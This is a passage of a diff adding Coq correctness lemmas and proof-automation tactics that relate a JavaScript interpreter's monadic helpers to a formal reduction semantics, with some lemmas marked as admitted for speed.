+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_string_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (s : string), o = out_ter S s /\ K S s = result_some y).
+
+Lemma if_string_spec : forall T W K (y : specret T),
+  if_string W K = result_some y ->
+  exists (o : out), W = o /\ if_string_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_spec (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. destruct p; tryfalse. exists___*.
+Admitted. (*faster*)
+
+Definition if_object_spec_post T K (y:specret T) o :=
+     (y = specret_out o /\ abort o)
+  \/ (exists S, exists (l : object_loc), o = out_ter S l /\ K S l = result_some y).
+
+Lemma if_object_spec : forall T W K (y : specret T),
+  if_object W K = result_some y ->
+  exists (o : out), W = o /\ if_object_spec_post K y o.
+Proof.
+  introv E. unfolds in E.
+  forwards~ (o1&WE&P): if_value_spec (rm E). exists o1. split~.
+  unfolds. unfolds in P.
+  inversion_clear P as [[? ?]|(S&R&H&E)]; subst; [ left* | right ].
+  destruct R; tryfalse. exists___*.
+Qed.
+
+
+(************************************************************)
+(* ** Correctness Tactics *)
+
+(** [prove_not_intercept] proves a goal of
+    the form "~ abort_intercepted_* _" *)
+
+Ltac prove_not_intercept :=
+let H := fresh in intros H; try solve [ inversion H; false~ ].
+
+Hint Extern 1 (~ abort_intercepted_expr _) => prove_not_intercept.
+Hint Extern 1 (~ abort_intercepted_stat _) => prove_not_intercept.
+Hint Extern 1 (~ abort_intercepted_prog _) => prove_not_intercept.
+
+Ltac abort_tactic L :=
+  try subst; apply L;
+  [ simpl; congruence
+  | try prove_abort
+  | try prove_not_intercept ].
+
+Tactic Notation "abort_expr" :=
+    abort_tactic red_expr_abort.
+Tactic Notation "abort_stat" :=
+    abort_tactic red_stat_abort.
+Tactic Notation "abort_prog" :=
+    abort_tactic red_prog_abort.
+Tactic Notation "abort_spec" :=
+    abort_tactic red_spec_abort.
+Tactic Notation "abort" :=
+  match goal with
+  | |- red_expr _ _ _ _ => abort_expr
+  | |- red_stat _ _ _ _ => abort_stat
+  | |- red_prog _ _ _ _ => abort_prog
+  | |- red_spec _ _ _ _ => abort_spec
+  end.
+
+(** [run_select_ifres] selects the appropriate "out" lemma *)
+
+Ltac run_select_extra T := fail.
+
+Ltac run_select_ifres H :=
+  match type of H with ?T = _ => match T with
+  | @if_ter nothing _ _ => constr:(if_ter_out)
+  | @if_success nothing _ _ => constr:(if_success_out)
+  | @if_value nothing _ _ => constr:(if_value_out)
+  | @if_void nothing _ _ => constr:(if_void_out)
+  | if_break _ _ => constr:(if_break_out)
+  | @if_object nothing _ _ => constr:(if_object_out)
+  | @if_bool nothing _ _ => constr:(if_bool_out)
+  | @if_string nothing _ _ => constr:(if_string_out)
+  | @if_number nothing _ _ => constr:(if_number_out)
+  | @if_prim nothing _ _ => constr:(if_prim_out)
+  | if_ter _ _ => constr:(if_ter_spec)
+  | if_success _ _ => constr:(if_success_spec)
+  | if_value _ _ => constr:(if_value_spec)
+  | if_bool _ _ => constr:(if_bool_spec)
+  | if_string _ _ => constr:(if_string_spec)
+  | if_object _ _ => constr:(if_object_spec)
+  | if_number _ _ => constr:(if_number_spec)
+  | if_prim _ _ => constr:(if_prim_spec)
+  | if_spec _ _ => constr:(if_spec_out)
+  | if_void _ _ => constr:(if_void_out)
+  | if_not_throw _ _ => constr:(if_not_throw_out)
+  | if_any_or_throw _ _ _ => constr:(if_any_or_throw_out)
+  | if_success_or_return _ _ _ => constr:(if_success_or_return_out)
+  | if_success_state _ _ _ => constr:(if_success_state_out)
+  | ?x => run_select_extra T
+  end end.
+
+(* template:
+Ltac run_select_extra T ::=
+  match T with
+  | if_any_or_throw _ _ _ => constr:(if_any_or_throw_out)
+  end.
+*)
+
+(** [run_select_proj] is used to obtain automatically
+    the right correctness lemma out of the correctness record *)
+
+Ltac run_select_proj_extra_error HT := fail.
+Ltac run_select_proj_extra_ref HT := fail.
+Ltac run_select_proj_extra_conversions HT := fail.
+Ltac run_select_proj_extra_construct HT := fail.
+Ltac run_select_proj_extra_get_value HT := fail.
+
+Ltac run_select_proj H :=
+  match type of H with ?T = _ => let HT := get_head T in
+  match HT with
+  | runs_type_expr => constr:(runs_type_correct_expr)
+  | runs_type_stat => constr:(runs_type_correct_stat)
+  | runs_type_prog => constr:(runs_type_correct_prog)
+  | runs_type_call => constr:(runs_type_correct_call)
+  | runs_type_construct => constr:(runs_type_correct_construct)
+  | runs_type_function_has_instance => constr:(runs_type_correct_function_has_instance)
+  | runs_type_object_has_instance => constr:(runs_type_correct_object_has_instance)
+  | runs_type_stat_while => constr:(runs_type_correct_stat_while)
+  | runs_type_stat_do_while => constr:(runs_type_correct_stat_do_while)
+  | runs_type_stat_for_loop => constr:(runs_type_correct_stat_for_loop)
+  | runs_type_object_delete => constr:(runs_type_correct_object_delete)
+  | runs_type_object_get_own_prop => constr:(runs_type_correct_object_get_own_prop)
+  | runs_type_object_get_prop => constr:(runs_type_correct_object_get_prop)
+  | runs_type_object_get => constr:(runs_type_correct_object_get)
+  | runs_type_object_proto_is_prototype_of => constr:(runs_type_correct_object_proto_is_prototype_of)
+  | runs_type_object_put => constr:(runs_type_correct_object_put)
+  | runs_type_equal => constr:(runs_type_correct_equal)
+  | runs_type_to_integer => constr:(runs_type_correct_to_integer)
+  | runs_type_to_string => constr:(runs_type_correct_to_string)
+  | runs_type_array_element_list => constr:(runs_type_correct_array_element_list)
+  | runs_type_object_define_own_prop_array_loop => constr:(runs_type_correct_object_define_own_prop_array_loop)
+  | ?x => run_select_proj_extra_error HT
+  | ?x => run_select_proj_extra_ref HT
+  | ?x => run_select_proj_extra_conversions HT
+  | ?x => run_select_proj_extra_construct HT
+  | ?x => run_select_proj_extra_get_value HT
+  end end.
+
+(** [prove_runs_type_correct] discharges the trivial goal
+    that consists in invoking the induction hypothesis*)
+
+Ltac prove_runs_type_correct :=
+  match goal with |- runs_type_correct _ => assumption end.
+
+(* [run_hyp H] exploits the induction hypothesis
+   on [runs_type_correct] to the hypothesis [H] *)
+
+Ltac run_hyp_core H R :=
+  let H' := fresh in rename H into H';
+  let Proj := run_select_proj H' in
+  lets R: Proj (rm H');
+  try prove_runs_type_correct.
+
+(** [select_ind_hyp] returns the induction hypothesis
+    on [runs_type_correct] *)
+
+Ltac select_ind_hyp tt :=
+  match goal with IH: runs_type_correct _ |- _ => constr:(IH) end.
+
+(* old run_hyp H:
+Ltac run_hyp_core H R :=
+  let H' := fresh in rename H into H';
+  let IH := select_ind_hyp tt in
+  let Proj := run_select_proj H' in
+  lets R: Proj IH (rm H').
+*)
+
+Tactic Notation "run_hyp" hyp(H) "as" simple_intropattern(R) :=
+  run_hyp_core H R.
+
+Tactic Notation "run_hyp" hyp(H) :=
+  let T := fresh in rename H into T;
+  run_hyp T as H.
+
+Tactic Notation "run_hyp" :=
+  match goal with H: _ = result_some _ |- _ => run_hyp H end.
+
+Tactic Notation "run_hyp" "*" hyp(H) :=
+  run_hyp H; auto*.
+
+Tactic Notation "run_hyp" "*" :=
+  run_hyp; auto*.
+
+
+(* [run_pre] exploits the appropriate "out" lemma, whether it comes
+   from the correctness record or it is an auxiliary lemma. *)
+
+Ltac run_pre_ifres H o1 R1 K :=
+   let L := run_select_ifres H in
+   lets (o1&R1&K): L (rm H). (* deconstruction of the "isout" *)
+
+Ltac run_pre_core H o1 R1 K :=
+   run_pre_ifres H o1 R1 K;
+   let O1 := fresh "O1" in
+   try (rename R1 into O1; run_hyp O1 as R1).
+
+Tactic Notation "run_pre" hyp(H) "as" ident(o1) ident(R1) ident(K) :=
+  let T := fresh in rename H into T;
+  run_pre_core T o1 R1 K.
+
+Tactic Notation "run_pre_ifres" "as" ident(o1) ident(R1) :=
+  unfold result_some_out in *; unfold res_to_res_void in * ; unfold result_out in *; unfold res_out in *;
+  (* LATER: improve unfolds *)
+  match goal with H: _ = result_some _ |- _ =>
+    let T := fresh in rename H into T;
+    run_pre_ifres T o1 R1 H end.
+
+Tactic Notation "run_pre" "as" ident(o1) ident(R1) :=
+  unfold result_some_out in *; unfold res_to_res_void in * ; unfold result_out in *; unfold res_out in *;
+  (* LATER: improve unfolds *)
+  match goal with H: _ = result_some _ |- _ =>
+    let T := fresh in rename H into T;
+    run_pre_core T o1 R1 H end.
+
+Tactic Notation "run_pre" "as" ident(o1) :=
+  let R1 := fresh "R1" o1 in
+  run_pre as o1 R1.
+
+Tactic Notation "run_pre" :=
+  let o1 := fresh "o1" in let R1 := fresh "R1" in
+  run_pre as o1 R1.
+
+(** [run_apply Red o1 R1] applys a reduction rule on a given
+    [o1] or reduction reaching [o1]. *)
+
+Tactic Notation "run_apply" constr(Red) constr(o1orR1) :=
+  applys Red o1orR1.
+
+Tactic Notation "run_apply" constr(Red) constr(o1) constr(R1) :=
+  first [ applys Red (rm R1)
+        | applys Red o1 ].
+
+(** [run_post] decomposes the conclusion of the "out"
+    lemma *)
+
+Ltac run_post_run_expr_get_value := fail.
+
+Ltac run_post_extra := fail.
+
+Ltac run_post_core :=
+  let Er := fresh "Er" in
+  let Ab := fresh "Ab" in
+  let S := fresh "S" in
+  let O1 := fresh "O1" in
+  let go H X :=
+    destruct H as [(Er&Ab)|(S&X&O1&H)];
+    [ try abort | try subst_hyp O1 ] in
+  match goal with
+  | H: if_ter_post _ _ _ |- _ =>
+    let R := fresh "R" in go H R
+  | H: if_success_post _ _ _ |- _ =>
+    let rv := fresh "rv" in go H rv
+  | H: if_value_post _ _ _ |- _ =>
+    let v := fresh "v" in go H v
+  | H: if_void_post _ _ _ |- _ =>
+    destruct H as [(Er&Ab)|(S&O1&H)];
+    [ try abort | try subst_hyp O1 ]
+  | H: if_not_throw_post _ _ _ |- _ =>
+    let R := fresh "R" in
+    let N := fresh "N" in let v := fresh "v" in
+    let E := fresh "E" in let L := fresh "L" in
+    destruct H as [(Er & Ab) | (S & R & O1 & [(N & H) | (N & H)])];
+    [try abort | try subst_hyp O1 | try abort]
+  | H: if_break_post _ _ _ |- _ =>
+    let R := fresh "R" in let E := fresh "E" in
+    let HT := fresh "HT" in
+    destruct H as [(Er&E)|(S&R&O1&[(HT&E)|(HT&H)])];
+    [ try abort | try subst_hyp O1 | try subst_hyp O1 ]
+  | H: if_object_post _ _ _ |- _ =>
+    let l := fresh "l" in go H l
+  | H: if_bool_post _ _ _ |- _ =>
+    let b := fresh "b" in go H b
+  | H: if_string_post _ _ _ |- _ =>
+    let s := fresh "s" in go H s
+  | H: if_number_post _ _ _ |- _ =>
+    let m := fresh "m" in go H m
+  | H: if_prim_post _ _ _ |- _ =>
+    let w := fresh "w" in go H w
+  | H: if_ter_spec_post _ _ _ |- _ =>
+    let R := fresh "R" in go H R
+  | H: if_success_spec_post _ _ _ |- _ =>
+    let rv := fresh "rv" in go H rv
+  | H: if_value_spec_post _ _ _ |- _ =>
+    let v := fresh "v" in go H v
+  | H: if_bool_spec_post _ _ _ |- _ =>
+    let b := fresh "b" in go H b
+  | H: if_string_spec_post _ _ _ |- _ =>
+    let s := fresh "s" in go H s
+  | H: if_object_spec_post _ _ _ |- _ =>
+    let l := fresh "l" in go H l
+  | H: if_number_spec_post _ _ _ |- _ =>
+    let m := fresh "m" in go H m
+  | H: if_prim_spec_post _ _ _ |- _ =>
+    let w := fresh "w" in go H w
+  | H: if_spec_post _ _ _ |- _ =>
+    let o := fresh "o" in let Er' := fresh "Er" in
+    let S := fresh "S" in let a := fresh "a" in
+    destruct H as [(o&Er&Er'&Ab)|(S&a&O1&H)];
+    [ try abort | try subst_hyp O1 ]
+  | H: if_any_or_throw_post _ _ _ _ |- _ =>
+    let R := fresh "R" in
+    let N := fresh "N" in let v := fresh "v" in
+    let E := fresh "E" in let L := fresh "L" in
+    destruct H as [(Er&Ab)|(S&R&O1&[(N&H)|(N&v&E&L&H)])];
+    [ try subst_hyp Er; try subst_hyp Ab | try subst_hyp O1 | try subst_hyp O1 ]
+  | H: if_success_or_return_post _ _ _ _ |- _ =>
+     let S := fresh "S" in let R := fresh "R" in
+     let o1 := fresh "o1" in let W1 := fresh "W1" in let O1 := fresh "O1" in
+     let E1 := fresh "E" in let E2 := fresh "E" in
+     destruct H as [(Er&Ab)|(S&R&O1&[(E1&E2&K)|[(E1&E2&K)|(E1&E2&K)]])];
+    [ try subst_hyp Er; try subst_hyp Ab; try abort
+    | try subst_hyp O1 | try subst_hyp O1 | try subst_hyp O1 ]
+  | H: if_success_state_post _ _ _ _ |- _ =>
+    (* LATER: improve the statement of the lemma *)
+     let S := fresh "S" in let R := fresh "R" in
+     let O1 := fresh "O1" in
+     let E1 := fresh "E" in let E2 := fresh "E" in let rv := fresh "rv" in
+     destruct H as [(Er&Ab)|[(S&R&O1&E1&H)|[(S&R&O1&E1&E2&H)|(S&rv&O1&H)]]];
+    [ try subst_hyp Er; try subst_hyp Ab; try abort
+    | try subst_hyp O1 | try subst_hyp O1 | try subst_hyp O1 ]
+  | |- _ => run_post_run_expr_get_value
+  | |- _ => run_post_extra
+  end.
+
+(* template
+Ltac run_post_extra ::=
+  let Er := fresh "Er" in let Ab := fresh "Ab" in
+  let O1 := fresh "O1" in let S := fresh "S" in
+  match goal with
+  | H: if_any_or_throw_post _ _ _ _ |- _ => ...
+  end.
+
+*)
+
+Tactic Notation "run_post" :=
+  run_post_core.
+
+(** [run_inv] simplifies equalities in goals
+    by performing inversions on equalities. *)
+
+Ltac run_inv :=
+  unfold result_some_out in *; unfold res_to_res_void in * ; unfold out_retn in *; unfold result_out in *;
+  repeat
+  match goal with
+  | H: resvalue_value ?v = resvalue_value ?v |- _ => clear H
+  | H: resvalue_value _ = resvalue_value _ |- _ => inverts H
+  | H: res_spec _ _ = _ |- _ => unfold res_spec in H
+  | H: _ = res_spec _ _ |- _ => unfold res_spec in H
+  | H: res_out _ = _ |- _ => unfold res_out in H
+  | H: _ = res_out _ |- _ => unfold res_out in H
+  | H: res_ter _ _ = _ |- _ => unfold res_ter in H
+  | H: _ = res_ter _ _ |- _ => unfold res_ter in H
+  | H: result_some ?o = result_some ?o |- _ => clear H
+  | H: result_some _ = result_some _ |- _ => inverts H
+  | H: out_ter ?S ?R = out_ter ?S ?R |- _ => clear H
+  | H: out_ter _ _ = out_ter _ _ |- _ => inverts H
+  | H: res_intro ?t ?v ?l = res_intro ?t ?v ?l |- _ => clear H
+  | H: res_intro _ _ _ = res_intro _ _ _ |- _ => inverts H
+  | H: ret _ _ = _ |- _ => unfold ret in H
+  | H: _ = ret _ _ |- _ => unfold ret in H
+  | H: ret_void _ = _ |- _ => unfold ret_void in H
+  | H: _ = ret_void _ |- _ => unfold ret_void in H
+  | H: res_void _ = _ |- _ => unfold res_void in H
+  | H: _ = res_void _ |- _ => unfold res_void in H
+  | H: specret_val ?S ?R = specret_val ?S ?R |- _ => clear H
+  | H: specret_val _ _ = specret_val _ _ |- _ => inverts H
+  | H: specret_out ?o = specret_out ?o |- _ => clear H
+  | H: specret_out _ = _ |- _ => inverts H
+  | H: _ = specret_out _ |- _ => inverts H
+  | H: out_from_retn ?sp = out_from_retn ?sp |- _ => clear H
+  | H: out_from_retn _ = out_from_retn _ |- _ => inverts H
+  end.
+
+(** [runs_inv] is the same as [run_inv] followed by subst. *)
+
+Ltac runs_inv :=
+  run_inv; subst.
+
+(** Auxiliary tactics to select/check the current "out" *)
+
+Ltac run_get_current_out tt :=
+  match goal with
+  | |- red_expr _ _ _ ?o => o
+  | |- red_stat _ _ _ ?o => o
+  | |- red_prog _ _ _ ?o => o
+  | |- red_spec _ _ _ ?o => o
+  | |- red_javascript _ ?o => o
+  end.
+
+Ltac run_check_current_out o :=
+  match goal with
+  | |- red_expr _ _ _ o => idtac
+  | |- red_stat _ _ _ o => idtac
+  | |- red_prog _ _ _ o => idtac
+  | |- red_spec _ _ _ o => idtac
+  | |- red_javascript _ o => idtac
+  end.
+
+(** [run_step Red] combines [run_pre], [run_apply Red] and calls
+    [run_post] on the main reduction subgoal, followed
+    with a cleanup using [run_inv] *)
+
+Ltac run_step Red :=
+  let o1 := fresh "o1" in let R1 := fresh "R1" in
+  run_pre as o1 R1;
+  match Red with ltac_wild => idtac | _ =>
+    let o := run_get_current_out tt in
+    run_apply Red o1 R1;
+    try (run_check_current_out o; run_post; run_inv; try assumption)
+  end.
+
+(** [run_step_using Red Lem] combines [run_pre],
+    a forward to exploit the correctness lemma [Lem],
+    [run_apply Red] and calls
+    [run_post] on the main reduction subgoal, followed
+    with a cleanup using [run_inv] *)
+
+Ltac run_step_using Red Lem :=
+  let o1 := fresh "o1" in let O1 := fresh "O1" in
+  let R1 := fresh "R1" in
+  run_pre_ifres as o1 O1;
+  lets R1: Lem (rm O1);
+  try prove_runs_type_correct;
+  match Red with ltac_wild => idtac | _ =>
+    let o := run_get_current_out tt in
+    run_apply Red o1 R1;
+    try (run_check_current_out o; run_post; run_inv; try assumption)
+  end.
+
+(** [run_simpl] is intended for simplyfing simple monads
+    that do not match over a result, then run
+    [run_inv] to clean up the goal. *)
+
+Ltac run_simpl_run_error H T K := fail.
+
+Ltac run_simpl_base H K :=
+  let E := fresh "E" in
+  match type of H with ?T = _ => match T with
+  | if_some _ _ =>
+     let x := fresh "x" in
+     lets (x&E&K): if_some_out (rm H)
+  | if_some_or_default _ _ _ =>
+     let x := fresh "x" in
+     let E1 := fresh "E" in let E2 := fresh "E" in
+     lets [(E1&E2)|(n&E&K)]: if_some_or_default_out (rm H)
+  | if_empty_label _ _ _ =>
+     lets (E&K): if_empty_label_out (rm H)
+  | ?x => run_simpl_run_error H T K
+  | ?x => run_hyp_core H K
+  end end.
+
+
+Ltac run_simpl_core H K :=
+  run_simpl_base H K; run_inv.
+
+Tactic Notation "run_simpl" ident(H) "as" ident(K) :=
+  let T := fresh in rename H into T;
+  run_simpl_core T K.
+
+Tactic Notation "run_simpl" :=
+  unfold result_some_out in *; unfold res_to_res_void in * ; unfold result_out in *; unfold res_out in *;
+  (* LATER: handle unfold *)
+  match goal with H: _ = result_some _ |- _ =>
+    let H' := fresh in rename H into H';
+    run_simpl_core H' H
+  end.
+
+(** [run Red] is the same as [run_step Red].
+    [run] without arguments is the same as [run_simpl].
+    [runs] is same as [run] followed with [subst]. *)
+
+Tactic Notation "run" constr(Red) :=
+  run_step Red.
+
+Tactic Notation "run" "~" constr(Red) :=
+  run Red; auto~.
+
+Tactic Notation "run" "*" constr(Red) :=
+  run Red; auto*.
+
+Tactic Notation "run" constr(Red) "using" constr(Lem) :=
+  run_step_using Red Lem.
+
+Tactic Notation "run" "~" constr(Red) "using" constr(Lem) :=
+  run Red using Lem; auto~.
+
+Tactic Notation "run" "*" constr(Red) "using" constr(Lem) :=
+  run Red using Lem; auto*.
+
+
+Tactic Notation "runs" constr(Red) :=
+  run Red; subst.
+
+Tactic Notation "runs" "~" constr(Red) :=
+  run Red; subst; auto~.
+
+Tactic Notation "runs" "*" constr(Red) :=
+  run Red; subst; auto*.
+
+Tactic Notation "run" :=
+  run_simpl.
+
+Tactic Notation "run" "~" :=
+  run; auto~.
+
+Tactic Notation "run" "*" :=
+  run; auto*.
+
+Tactic Notation "runs" :=
+  run; subst.
+
+Tactic Notation "runs" "~" :=
+  runs; auto~.
+
+Tactic Notation "runs" "*" :=
+  runs; auto*.
+
+
+(* debugging of [run Red]:
+  run_pre as o1 R1.
+    or: run_pre H as o1 R1 K. (* where H is the hypothesis *)
+    or: run_pre_core H o1 R1 K. (* where H is the hypothesis *)
+    or: run_pre_lemma H o1 R1 K. (* where H is the hypothesis *)
+  run_apply __my_red_lemma__ R1. (* where R1 is the red hypothesis *)
+  run_post.
+  run_inv.
+*)
+
+
+(************************************************************)
+(* ** Correctness Lemmas *)
+
+Lemma type_of_prim_not_object : forall w,
+  type_of w <> type_object.
+Proof. destruct w; simpl; try congruence. Qed.
+
+Hint Resolve type_of_prim_not_object.
+
+Lemma is_lazy_op_correct : forall op,
+  match is_lazy_op op with
+  | None => regular_binary_op op
+  | Some b => lazy_op op b
+  end.
+Proof.
+  Hint Constructors lazy_op.
+  unfold regular_binary_op.
+  intros. destruct op; simple*.
+Admitted. (* faster *)
+
+Lemma run_object_method_correct : forall Z (Proj : _ -> Z) S l (z : Z),
+  run_object_method Proj S l = Some z ->
+  object_method Proj S l z.
+Proof.
+  introv B. unfolds. forwards (O&Bi&E): LibOption.map_on_inv B.
+  forwards: @pick_option_correct Bi. exists* O.
+Qed.
+
+Lemma run_object_heap_set_extensible_correct : forall b S l S',
+  run_object_heap_set_extensible b S l = Some S' ->
+  object_heap_set_extensible b S l S'.
+Proof.
+  introv R. unfolds in R. forwards (O&H&E): LibOption.map_on_inv (rm R).
+  forwards: @pick_option_correct (rm H). exists O. splits~.
+Qed.
+
+Lemma build_error_correct : forall S C vproto vmsg o,
+  build_error S vproto vmsg = o ->
+  red_expr S C (spec_build_error vproto vmsg) o.
+Proof.
+  introv R. unfolds in R.
+  match goal with H: context [object_alloc ?s ?o] |- _ => sets_eq X: (object_alloc s o) end.
+  destruct X as (l&S'). cases_if.
+  applys~ red_spec_build_error EQX. run_inv.
+   applys~ red_spec_build_error_1_no_msg.
+Qed.
+
+Lemma run_error_correct' : forall T S ne o C,
+  run_error S ne = (res_out o : specres T) ->
+  red_expr S C (spec_error ne) o /\ abort o.
+Proof.
+  introv R. unfolds in R. run_pre as o1 R1. forwards R0: build_error_correct (rm R1).
+  applys_and red_spec_error R0. run_post.
+   run_inv. splits~. abort.
+   run_inv. splits; [|prove_abort]. apply~ red_spec_error_1.
+Qed.
+
+Lemma run_error_correct : forall T S ne o C,
+  run_error S ne = (res_out o : specres T) ->
+  red_expr S C (spec_error ne) o.
+Proof. intros. applys* run_error_correct'. Qed.
+
+Lemma run_error_correct_2 : forall T S (ne : native_error) o C,
+  run_error S ne = (res_out o : specres T) -> red_expr S C (spec_error ne) o.
+Proof. intros. apply* run_error_correct. Qed.
+
+Hint Resolve run_error_correct run_error_correct_2.
+
+Ltac run_simpl_run_error H T K ::=
+  match T with run_error _ _ =>
+     let N := fresh "N" in
+     let C := match goal with |- _ _ ?C _ _ => constr:(C) end in
+     lets (K&N): run_error_correct C (rm H)
+  end.
+
+Lemma run_error_not_some_out_res : forall S v T,
+  ~ (run_error S native_error_type = result_some (@specret_out T (out_ter S (res_val v)))).
+Proof.
+  set (C := execution_ctx_intro nil nil (value_prim (prim_bool true)) false). introv Hyp.
+  apply run_error_correct' with (C := C) in Hyp. 
+  destruct Hyp as (Hred & Habort).
+  inverts Hred. simpls. inverts H.
+  inverts H3. simpls. inverts H.
+  inverts H0. simpls. inverts H.
+  inverts H9. simpls. inverts H.
+  inverts Habort. unfolds abrupt_res.
+  false~ H0. false~ H3.
+Admitted. (*faster*)
+
+Lemma out_error_or_void_correct : forall S C str (ne : native_error) o,
+  out_error_or_void S str ne = o ->
+  red_expr S C (spec_error_or_void str ne) o /\
+    (~ abort o -> o = out_void S).
+Proof.
+  introv E. unfolds in E. cases_if.
+   applys_and red_spec_error_or_void_true.
+   forwards~ (RC&Cr): run_error_correct' E. splits*.
+   inverts E. splits~. apply~ red_spec_error_or_void_false.
+Qed.
+
+Lemma out_error_or_cst_correct' : forall S C str (ne : native_error) v o,
+  out_error_or_cst S str ne v = o ->
+  red_expr S C (spec_error_or_cst str ne v) o /\
+    (~ abort o -> o = out_ter S v).
+Proof.
+  introv E. unfolds in E. cases_if.
+   applys_and red_spec_error_or_cst_true. forwards~ (RC&Cr): run_error_correct' E. splits*.
+   inverts E. splits~. apply~ red_spec_error_or_cst_false.
+Qed.
+
+(* LATER: clean up redundant proof for the direct case *)
+Lemma out_error_or_cst_correct : forall S C str ne v o,
+  out_error_or_cst S str ne v = o ->
+  red_expr S C (spec_error_or_cst str ne v) o.
+Proof.
+  introv HR. unfolds in HR. case_if.
+  applys* red_spec_error_or_cst_true.
+  run_inv. applys* red_spec_error_or_cst_false.
+Qed.
+
+
+Ltac run_select_proj_extra_error HT ::=
+  match HT with
+  | run_error => constr:(run_error_correct)
+  | run_object_method => constr:(run_object_method_correct)
+  end.
+
+
+(**************************************************************)
+(** ** Object Get *)
+
+Lemma object_has_prop_correct : forall runs S C l x o,
+  runs_type_correct runs ->
+  object_has_prop runs S C l x = o ->
+  red_expr S C (spec_object_has_prop l x) o.
+Proof.
+  introv IH HR. unfolds in HR. run_simpl. run_hyp E as M.
+  applys~ red_spec_object_has_prop M. destruct x0.
+  run red_spec_object_has_prop_1_default using runs_type_correct_object_get_prop.
+  apply~ red_spec_object_has_prop_2. rewrite decide_def. repeat cases_if~.
+Qed.
+
+Lemma run_object_get_prop_correct : forall runs S C l x y,
+  runs_type_correct runs ->
+  run_object_get_prop runs S C l x = result_some y ->
+  red_spec S C (spec_object_get_prop l x) y.
+Proof.
+  introv IH HR. unfolds in HR.
+  run. applys* red_spec_object_get_prop.
+   applys* run_object_method_correct. clear E.
+  destruct x0; tryfalse.
+  run red_spec_object_get_prop_1_default. case_if.
+   subst. run. applys red_spec_object_get_prop_2_undef.
+    applys* run_object_method_correct.
+    destruct x0; tryfalse.
+      destruct p; tryfalse. run_inv. applys red_spec_object_get_prop_3_null.
+      applys red_spec_object_get_prop_3_not_null. run_hyp*.
+  run_inv. destruct a; tryfalse.
+   applys* red_spec_object_get_prop_2_not_undef.
+Admitted. (*faster*)
+
+Lemma object_get_builtin_correct : forall runs S C B (vthis:value) l x o,
+  runs_type_correct runs ->
+  object_get_builtin runs S C B vthis l x = o ->
+  red_expr S C (spec_object_get_1 B vthis l x) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  let_name as Mdefault.
+  asserts Mdefault_correct: (forall S l o,
+    Mdefault S l = res_out o ->
+    red_expr S C (spec_object_get_1 builtin_get_default vthis l x) o).
+    clear HR o. subst. introv HR.
+   run red_spec_object_get_1_default. destruct a as [|[Ad|Aa]].
+    run_inv. applys* red_spec_object_get_2_undef.
+    run_inv. applys* red_spec_object_get_2_data.
+    applys red_spec_object_get_2_accessor.
+     destruct (attributes_accessor_get Aa); tryfalse.
+       destruct p; tryfalse. run_inv.
+        applys* red_spec_object_get_3_accessor_undef.
+       applys* red_spec_object_get_3_accessor_object. run_hyp*.
+  clear EQMdefault.
+  let_name as Mfunction.
+  asserts Mfunction_correct: (forall S o,
+    Mfunction S = res_out o ->
+    red_expr S C (spec_object_get_1 builtin_get_function vthis l x) o).
+    clear HR o. subst. introv HR.
+    run* red_spec_object_get_1_function. clear R1.
+    case_if.
+     applys* red_spec_function_get_1_error.
+     run_inv. applys* red_spec_function_get_1_normal.
+      clear EQMfunction. destruct B; tryfalse.
+      applys~ Mdefault_correct.
+      applys~ Mfunction_correct.
+  (* argument object *)
+  run. forwards* obpm: run_object_method_correct.
+  run. substs. run~ red_spec_object_get_args_obj.
+  destruct a. (* LTAC ARTHUR:  This [a] wasn't properly named. *)
+   apply* red_spec_object_get_args_obj_1_undef.
+   run_hyp. apply~ red_spec_object_get_args_obj_1_attrs.
+Admitted. (* faster *)
+
+
+Lemma run_object_get_correct : forall runs S C l x o,
+  runs_type_correct runs ->
+  run_object_get runs S C l x = o ->
+  red_expr S C (spec_object_get l x) o.
+Proof.
+  introv IH HR. unfolds in HR. run.
+  applys* red_spec_object_get.
+   applys* run_object_method_correct. clear E.
+  applys* object_get_builtin_correct.
+Qed.
+
+
+Lemma object_can_put_correct : forall runs S C l x o,
+  runs_type_correct runs ->
+  object_can_put runs S C l x = o ->
+  red_expr S C (spec_object_can_put l x) o.
+Proof.
+  introv IH HR. unfolds in HR. run. run_hyp E as CP.
+  applys~ red_spec_object_can_put CP. destruct x0.
+  run red_spec_object_can_put_1_default. destruct a.
+   run. run_hyp E as P. applys~ red_spec_object_can_put_2_undef P.
+    destruct x0 as [()|lproto]; tryfalse.
+     run. run_hyp E as E. apply~ red_spec_object_can_put_4_null.
+     run red_spec_object_can_put_4_not_null using run_object_get_prop_correct.
+      destruct a as [|[Ad|Aa]].
+       run. run_hyp E as E. apply~ red_spec_object_can_put_5_undef.
+       run. run_hyp E as E. applys~ red_spec_object_can_put_5_data E. destruct x0.
+        applys~ red_spec_object_can_put_6_extens_true.
+        applys~ red_spec_object_can_put_6_extens_false.
+       run_inv. apply~ red_spec_object_can_put_5_accessor. rewrite decide_def.
+        repeat cases_if~.
+   destruct a; run_inv.
+    apply~ red_spec_object_can_put_2_data.
+    apply~ red_spec_object_can_put_2_accessor. rewrite decide_def. repeat cases_if~.
+Qed.
+
+Lemma object_default_value_correct : forall runs S C l pref o,
+  runs_type_correct runs ->
+  object_default_value runs S C l pref = o ->
+  red_expr S C (spec_object_default_value l pref) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run. lets H: run_object_method_correct (rm E).
+  applys* red_spec_object_default_value (rm H).
+  destruct x.
+  let_name as M.
+  asserts M_correct: (forall S x (F:state->result) K (o:out),
+      (M S x F = res_out o) ->
+      (forall S' o', (F S' = o') -> red_expr S' C K o') ->
+      red_expr S C (spec_object_default_value_sub_1 l x K) o).
+    clears HR S o. introv HR HK. subst M.
+    run red_spec_object_default_value_sub_1
+      using run_object_get_correct.
+    run. forwards R1: run_callable_correct (rm E).
+    destruct x0.
+      simpls. run. destruct v; tryfalse.
+       run* red_spec_object_default_value_sub_2_callable.
+       destruct v; run_inv.
+         applys* red_spec_object_default_value_sub_3_prim.
+         applys* red_spec_object_default_value_sub_3_object.
+      applys* red_spec_object_default_value_sub_2_not_callable.
+    clear EQM.
+  let_name.
